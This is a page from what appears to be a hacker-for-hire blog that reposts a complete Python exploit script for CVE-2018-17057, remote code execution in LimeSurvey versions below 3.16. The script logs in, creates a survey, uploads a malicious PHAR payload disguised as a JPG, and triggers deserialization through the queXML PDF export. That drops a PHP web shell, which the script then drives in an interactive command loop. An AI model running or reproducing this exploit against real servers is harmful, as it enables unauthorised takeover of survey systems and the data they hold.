Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863588815

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/python

# Description: LimeSurvey < 3.16 use a old version of "TCPDF" library, this version is vulnerable to a Serialization Attack via the "phar://" wrapper.
# Date: 29/03/2019
# Exploit Title: Remote Code Execution in LimeSurvey < 3.16 via Serialization Attack in TCPDF.
# Exploit Author: @q3rv0
# Google Dork:
# Version: < 3.16
# Tested on: LimeSurvey 3.15
# PoC: https://www.secsignal.org/news/remote-code-execution-in-limesurvey-3-16-via-serialization-attack-in-tcpdf
# CVE: CVE-2018-17057
# SecSignal is: <3
# Usage: python exploit.py [URL] [USERNAME] [PASSWORD]

import requests
import sys
import re

SESSION = requests.Session()

# Malicious PHAR generated with PHPGGC.
# ./phpggc Yii/RCE1 system "echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > shell.php" -p phar -o /tmp/exploit.jpg

PHAR    = ("\x3c\x3f\x70\x68\x70\x20\x5f\x5f\x48\x41\x4c\x54\x5f\x43\x4f\x4d\x50\x49\x4c\x45\x52\x28\x29\x3b\x20\x3f\x3e\x0d\x0a\x38"
           "\x02\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x02\x00\x00\x4f\x3a\x31\x31\x3a\x22\x43\x44\x62"
           "\x43\x72\x69\x74\x65\x72\x69\x61\x22\x3a\x31\x3a\x7b\x73\x3a\x36\x3a\x22\x70\x61\x72\x61\x6d\x73\x22\x3b\x4f\x3a\x31\x32"
           "\x3a\x22\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f\x72\x22\x3a\x33\x3a\x7b\x73\x3a\x31\x36\x3a\x22\x00\x43\x4d\x61\x70"
           "\x49\x74\x65\x72\x61\x74\x6f\x72\x00\x5f\x64\x22\x3b\x4f\x3a\x31\x30\x3a\x22\x43\x46\x69\x6c\x65\x43\x61\x63\x68\x65\x22"
           "\x3a\x37\x3a\x7b\x73\x3a\x39\x3a\x22\x6b\x65\x79\x50\x72\x65\x66\x69\x78\x22\x3b\x73\x3a\x30\x3a\x22\x22\x3b\x73\x3a\x37"
           "\x3a\x22\x68\x61\x73\x68\x4b\x65\x79\x22\x3b\x62\x3a\x30\x3b\x73\x3a\x31\x30\x3a\x22\x73\x65\x72\x69\x61\x6c\x69\x7a\x65"
           "\x72\x22\x3b\x61\x3a\x31\x3a\x7b\x69\x3a\x31\x3b\x73\x3a\x36\x3a\x22\x73\x79\x73\x74\x65\x6d\x22\x3b\x7d\x73\x3a\x39\x3a"
           "\x22\x63\x61\x63\x68\x65\x50\x61\x74\x68\x22\x3b\x73\x3a\x31\x30\x3a\x22\x64\x61\x74\x61\x3a\x74\x65\x78\x74\x2f\x22\x3b"
           "\x73\x3a\x31\x34\x3a\x22\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x4c\x65\x76\x65\x6c\x22\x3b\x69\x3a\x30\x3b\x73\x3a\x31\x31"
           "\x3a\x22\x65\x6d\x62\x65\x64\x45\x78\x70\x69\x72\x79\x22\x3b\x62\x3a\x31\x3b\x73\x3a\x31\x35\x3a\x22\x63\x61\x63\x68\x65"
           "\x46\x69\x6c\x65\x53\x75\x66\x66\x69\x78\x22\x3b\x73\x3a\x31\x34\x30\x3a\x22\x3b\x62\x61\x73\x65\x36\x34\x2c\x4f\x54\x6b"
           "\x35\x4f\x54\x6b\x35\x4f\x54\x6b\x35\x4f\x57\x56\x6a\x61\x47\x38\x67\x4d\x32\x4d\x7a\x5a\x6a\x63\x77\x4e\x6a\x67\x33\x4d"
           "\x44\x49\x77\x4e\x7a\x4d\x33\x4f\x54\x63\x7a\x4e\x7a\x51\x32\x4e\x54\x5a\x6b\x4d\x6a\x67\x79\x4e\x44\x56\x6d\x4e\x44\x63"
           "\x30\x4e\x54\x55\x30\x4e\x57\x49\x79\x4d\x6a\x59\x7a\x4d\x6a\x49\x31\x5a\x44\x49\x35\x4d\x32\x49\x79\x4d\x44\x4e\x6d\x4d"
           "\x32\x55\x77\x59\x53\x42\x38\x49\x48\x68\x34\x5a\x43\x41\x74\x63\x69\x41\x74\x63\x43\x41\x2b\x49\x48\x4e\x6f\x5a\x57\x78"
           "\x73\x4c\x6e\x42\x6f\x63\x41\x3d\x3d\x22\x3b\x7d\x73\x3a\x31\x39\x3a\x22\x00\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f"
           "\x72\x00\x5f\x6b\x65\x79\x73\x22\x3b\x61\x3a\x31\x3a\x7b\x69\x3a\x30\x3b\x69\x3a\x30\x3b\x7d\x73\x3a\x31\x38\x3a\x22\x00"
           "\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f\x72\x00\x5f\x6b\x65\x79\x22\x3b\x69\x3a\x30\x3b\x7d\x7d\x08\x00\x00\x00\x74"
           "\x65\x73\x74\x2e\x74\x78\x74\x04\x00\x00\x00\x36\xad\x9d\x5c\x04\x00\x00\x00\x0c\x7e\x7f\xd8\xb6\x01\x00\x00\x00\x00\x00"
           "\x00\x74\x65\x73\x74\xcc\xd9\x99\xbd\x5e\x65\x4e\x03\x9b\x90\xdd\xd5\x8b\xff\x28\xd2\x37\x8b\x23\xe5\x02\x00\x00\x00\x47"
           "\x42\x4d\x42")

def usage():
    if len(sys.argv) != 4:
        print "Usage: python exploit.py [URL] [USERNAME] [PASSWORD]"
        sys.exit(0)

def get(url):
	r = SESSION.get(url, verify=False)
	return r.text

def post(url, data={}, files=None, headers=None):
	r = SESSION.post(url, data=data, headers=headers, files=files, verify=False)
	return r.text

def getYIICSRFToken(url):
	res = get(url)
	token = re.findall(r'value="(.*)" name="YII_CSRF_TOKEN"', res)
	return token[0] 

def getKCSRFToken(url):
	res = get(url)
	token = re.findall(r'csrftoken = "(.*)";', res)
	return token[0]

def login(url, username, password):
	token = getYIICSRFToken(url)
	data = {"YII_CSRF_TOKEN" : token,
	        "authMethod"     : "Authdb", 
	        "user"           : username,
	        "password"       : password,
	        "loginlang"      : "default",
	        "action"         : "login",
	        "width"          : "1366",
	        "login_submit"   : "login"
	       }
	res = post(url, data)
	if len(re.findall("loginform", res)) == 0:
		return True
	else:
	    return False

def emailTemplates(url):
    return get(url)	

def createSurvey(url_newsurvey, url_insert):
	token = getYIICSRFToken(url_newsurvey)
	data = {"YII_CSRF_TOKEN" : token,
	        "surveyls_title" : "Survey Example - SecSignal",
	        "language"       : "en",
	        "createsample"   : "0",
	        "description"    : "foo",
	        "url"            : "",
	        "urldescrip"     : "",
	        "dateformat"     : "1",
	        "numberformat_en": "0",
	        "welcome"        : "bar",
	        "endtext"        : "asdf",
	        "owner_id"       : "1",
	        "admin"          : "Administrator",
	        "adminemail"     : "test%40gsecsignal.org",
	        "bounce_email"   : "test%40gsecsignal.org",
	        "faxto"          : "",
	        "gsid"           : "1",
	        "format"         : "G",
	        "template"       : "fruity",
	        "navigationdelay": "0",
	        "questionindex"  : "0",
	        "showgroupinfo"  : "B",
	        "showqnumcode"   : "X",
	        "shownoanswer"   : "Y",
	        "showxquestions" : "0",
	        "showxquestions" : "1",
	        "showwelcome"    : "0",
	        "showwelcome"    : "1",
	        "allowprev"      : "0",
	        "nokeyboard"     : "0",
	        "showprogress"   : "0",
	        "showprogress"   : "1",
	        "printanswers"   : "0",
	        "publicstatistics" : "0",
	        "publicgraphs"   : "0",
	        "autoredirect"   : "0",
	        "startdate"      : "",
	        "expires"        : "",
	        "listpublic"     : "0",
	        "usecookie"      : "0",
	        "usecaptcha_surveyaccess" : "0",
	        "usecaptcha_registration" : "0",
	        "usecaptcha_saveandload"  : "0",
	        "datestamp"               : "0",
	        "ipaddr"                  : "0",
	        "refurl"                  : "0",
	        "savetimings"             : "0",
	        "assessments"             : "0",
	        "allowsave"               : "0",
	        "allowsave"               : "1",
	        "emailnotificationto"     : "",
	        "emailresponseto"         : "",
	        "googleanalyticsapikeysetting" : "N",
	        "googleanalyticsstyle"         : "0",
	        "tokenlength"                  : "15",
	        "anonymized"                   : "0",
	        "tokenanswerspersistence"      : "0",
	        "alloweditaftercompletion"     : "0",
	        "allowregister"                : "0",
	        "htmlemail"                    : "0",
	        "htmlemail"                    : "1",
	        "sendconfirmation"             : "0",
	        "sendconfirmation"             : "1",
	        "saveandclose"                 : "1"
	       }
	res = post(url_insert, data)
	surveyid = re.findall(r'surveyid\\/([0-9]+)', res)
	return surveyid[0] # Return SurveyiD

def uploadPHAR(url_upload, url_csrf_token, phar):
	kcfinder_csrftoken = getKCSRFToken(url_csrf_token)
	files = {'upload[]': ('malicious.jpg', phar)}
	data  = {"dir"                : "files",
	         "kcfinder_csrftoken" : kcfinder_csrftoken
	        }
	res = post(url_upload, data, files)
	return res

def pdfExport(url_pdf_export, surveyid):
	token = getYIICSRFToken(url_pdf_export + surveyid)
	data = {"save_language" : "en",
	        "queXMLStyle"   : '<h1>Stage 2</h1><img src="phar://./upload/surveys/'+ surveyid + '/files/malicious.jpg">',
	        "queXMLSingleResponseAreaHeight" : "9",
	        "queXMLSingleResponseHorizontalHeight" : "10.5",
	        "queXMLQuestionnaireInfoMargin" : "5",
	        "queXMLResponseTextFontSize" : "10",
	        "queXMLResponseLabelFontSize" : "7.5",
	        "queXMLResponseLabelFontSizeSmall" : "6.5",
	        "queXMLSectionHeight" : "18",
	        "queXMLBackgroundColourSection" : "221",
	        "queXMLBackgroundColourQuestion" : "241",
	        "queXMLAllowSplittingSingleChoiceHorizontal" : "0",
	        "queXMLAllowSplittingSingleChoiceHorizontal" : "1",
	        "queXMLAllowSplittingSingleChoiceVertical" : "0",
	        "queXMLAllowSplittingSingleChoiceVertical" : "1",
	        "queXMLAllowSplittingMatrixText" : "0",
	        "queXMLAllowSplittingMatrixText" : "1",
	        "queXMLAllowSplittingVas" : "0",
	        "queXMLPageOrientation" : "P",
	        "queXMLPageFormat" : "A4",
	        "queXMLEdgeDetectionFormat" : "lines",
	        "YII_CSRF_TOKEN" : token,
	        "ok" : "Y"}
	res = post(url_pdf_export + surveyid, data)
	return res        

def shell(url):
    r = requests.get("%s/shell.php" % url)
    if r.status_code == 200:
       print "[+] Pwned! :)"
       print "[+] Getting the shell..."
       while 1:
           try:
               input = raw_input("$ ")
               r = requests.get("%s/shell.php?c=%s" % (url, input))
               print r.text
           except KeyboardInterrupt:
               sys.exit("\nBye kaker!")
    else:
        print "[*] The site seems not to be vulnerable :("

def main():
    usage()
    url      = sys.argv[1] # URL
    username = sys.argv[2] # Username
    password = sys.argv[3] # Password
    url_login = "%s/index.php/admin/authentication/sa/login" % url

    print "[*] Logging in to LimeSurvey..."
    if login(url_login, username, password):

        url_newsurvey = "%s/index.php/admin/survey/sa/newsurvey" % url
        url_insert = "%s/index.php/admin/survey/sa/insert" % url

        print "[*] Creating a new Survey..."
        surveyid = createSurvey(url_newsurvey, url_insert) 
        print "[+] SurveyID: %s" % surveyid

        email_templates = "%s/index.php/admin/emailtemplates/sa/index/surveyid/%s" % (url, surveyid)

        emailTemplates(email_templates)

        url_csrf_token = "%s/third_party/kcfinder/browse.php?opener=custom&type=files&CKEditor=email_invitation_en&langCode=en" % url
        url_upload     = "%s/third_party/kcfinder/browse.php?type=files&lng=en&opener=custom&act=upload" % url

        print "[*] Uploading a malicious PHAR..."
        uploadPHAR(url_upload, url_csrf_token, PHAR)

        url_pdf_export = "%s/index.php/admin/export/sa/quexml/surveyid/" % url

        print "[*] Sending the Payload..."
        export_response = pdfExport(url_pdf_export, surveyid)
        print "[*] TCPDF Response: %s" % export_response

        shell(url)
    else:
        print "[-] Bad credentials :("

if __name__ == "__main__":
    main()